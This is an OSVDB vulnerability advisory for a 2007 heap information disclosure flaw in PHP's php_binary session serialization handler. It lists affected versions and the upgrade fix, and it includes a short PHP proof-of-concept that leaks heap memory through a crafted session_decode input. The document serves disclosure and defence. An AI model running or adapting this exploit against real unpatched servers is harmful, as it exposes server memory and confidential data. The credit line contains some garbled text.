32776 : PHP Session Extension php_binary Heap Information Disclosure
Printer | http://osvdb.org/32776 | Email This | Edit Vulnerability

Views This Week

3

Views All Time

297

Info

Last Modified

about 1 year ago

Percent Complete

100%

Disclosure

Feb 09, 2007

Discovery

Unknown

Dates

Exploit

Mar 05, 2007

Solution

Unknown

Keywords

HPSBMA02215,SSRT071423

Description

The php_binary serialization handler in the PHP session extension is missing a boundary check and may lead to an unauthorized information disclosure. The condition is triggered during the extraction of an overly long php_binary session data format variable name, which will disclose up to 126 bytes of heap data into PHP variables, resulting in a loss of confidentiality.

Classification

Location: Remote/Network Access Required
Attack Type: Information Disclosure
Impact: Loss of Confidentiality
Exploit: Exploit Available
Disclosure: OSVDB Verified
OSVDB: Concern

Technical

The php_binary session data format contains one entry per serialized variable.
Every entry contains:
- one byte size field containing the length of the variable name
- the variable name
- serialized data

------------
Exploit Code
------------
<?php
die("REMOVE THIS LINE");
ini_set("session.serialize_handler", "php_binary");
session_start();
$x = chr(36).str_repeat("A", 36)."N;".chr(127);
$data = $x;
session_decode($data);
$keys = array_keys($_SESSION);
$heapdump = $keys[1];
// code for reading from $heapdump goes here
?>

Solution

Upgrade to PHP versions 4.4.5 or higher and PHP 5.2.1 or higher, as they have been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Products

The PHP Group
Watch-list
PHP
Watch-list
4.0 Beta 1
4.0 Beta 2
4.0 Beta 3
4.0 Beta 4
4.0.x
4.1.x
4.2.x
4.4.0
4.4.2
4.4.1
4.3.x
5.0.x
4.4.3
5.2.0
5.2.1
4.4.5
4.4.6
4.4.4
5.1.x
5.0 Release Candidate 3
5.0 Release Candidate 2
5.0 Release Candidate 1
5.0 Beta 4
5.0 Beta 3
5.0 Beta 2
5.0 Beta 1
4.0, Release Candidate 2
4.0, Release Candidate 1
3.x

References

Tools & Filters

Nessus

24887 25099 25100 25317 27150 28053 29378

Credit

  • Stefan Esser - sesserBrand New Doo Doohardened-php.net - www.hardened-php.net

Blogs

None found at this time

Comments

No Comments.

DONATE NOW!

User Status

Quick Searches

Advertisements

The database information may change without any notice. Use of the information constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the copyright holder or distributor (OSVDB or OSF) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

© Copyright 2008 Open Source Vulnerability Database (OSVDB), All Rights Reserved.
Privacy Statement - Terms of Use